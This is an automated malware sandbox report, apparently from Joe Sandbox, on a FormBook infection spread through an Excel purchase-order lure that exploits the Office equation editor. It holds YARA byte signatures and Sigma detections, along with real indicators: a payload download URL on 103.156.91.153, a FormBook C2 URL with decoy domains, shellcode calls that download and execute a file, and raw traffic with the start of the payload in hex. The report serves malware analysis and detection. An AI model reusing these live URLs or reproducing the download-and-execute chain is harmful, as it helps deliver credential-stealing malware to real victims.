6.0.bmexo.exe.400000.9.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.9.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.bmexo.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.bmexo.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.bmexo.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
5.2.bmexo.exe.170000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.bmexo.exe.170000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.bmexo.exe.170000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.5.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.5.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.5.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.9.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
Click to see the 20 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.156.91.153, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 900, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49171

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 900, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.freerenoadvice.com/ud5f/"], "decoy": ["makcoll.com", "mitrachocloud.com", "finikilspase.site", "vertriebmitherz.gmbh", "terapiasdelsinuips.com", "schoolmink.online", "slotgacor588.xyz", "zkf-lawyer.com", "daskocleaning.com", "baoxin-design.com", "hollywoodcuts.net", "animefnix.com", "trinityhomesolutionsok.com", "cfrhsw.xyz", "articrowd.com", "jlivingfurniture.com", "marmolsystem.com", "nudehack.com", "beam-birds.com", "cravensoft.com", "bjyunjian.com", "naturelleclub.com", "reece-family.net", "morarmail.com", "morgantownpet.supply", "recordanalytics.com", "factheat.online", "mcgillinvestigation.com", "tinyhouse.contact", "gpbrasilia.com", "jacobsclub.com", "theboemia.net", "balifoodfun.com", "alfonshotel.com", "spaceokara.com", "paraphras.com", "ruibaituobj.com", "rwbbrwe1.com", "turkishrepublik.com", "costumeshop.xyz", "minatexacess.com", "hathor-network.net", "02d1qp.xyz", "dadagrin.com", "lfsijin.com", "bupabii.site", "mydiga-angststoerung.com", "hayatseventeknoloji.com", "adv-cleaner.site", "ndsnus.com", "rebeccabarclaylpc.com", "eswpu.com", "babbleboat.com", "zvmsovsg.com", "quantumlab5.com", "venerems.com", "sh09.fyi", "maxpilesclinic.com", "luigilucioni.com", "yuttie.store", "tripnii.com", "topings33.com", "madetopraisehim.com", "tesladoge.info"]}

Multi AV Scanner detection for submitted file

Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	Virustotal: Detection: 38%			Perma Link
Source: BON DE COMMANDE POUR CHENOUFI AEK.xlsx	ReversingLabs: Detection: 26%

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://103.156.91.153/fdcloudfiles/vbc.exe	Avira URL Cloud: Label: malware
Source: www.freerenoadvice.com/ud5f/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://103.156.91.153/fdcloudfiles/vbc.exe

Virustotal: Detection: 10%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Source: 6.0.bmexo.exe.400000.7.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.2.bmexo.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.bmexo.exe.170000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.5.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 6.0.bmexo.exe.400000.9.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 103.156.91.153 Port: 80

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:	Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source:	Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D056C ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D048A LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0555 ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D03FE URLDownloadToFileW,ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D03E5 ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D041A URLDownloadToFileW,ShellExecuteExW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D058A ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D04A4 URLDownloadToFileW,ShellExecuteExW,ExitProcess,

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 4x nop then pop edi
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 4x nop then pop ebx
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop ebx

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.156.91.153:80

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.freerenoadvice.com/ud5f/

Source: Joe Sandbox View

ASN Name: TWIDC-AS-APTWIDCLimitedHK TWIDC-AS-APTWIDCLimitedHK

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 May 2022 15:07:42 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Fri, 13 May 2022 06:57:17 GMTETag: "40667-5dedf2f5fd4c5"Accept-Ranges: bytesContent-Length: 263783Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /fdcloudfiles/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.156.91.153Connection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.156.91.153

Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com2 equals www.linkedin.com (Linkedin)
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exe
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exej
Source: EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.156.91.153/fdcloudfiles/vbc.exes
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.964387400.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.1003526577.0000000006450000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.%s.comPA
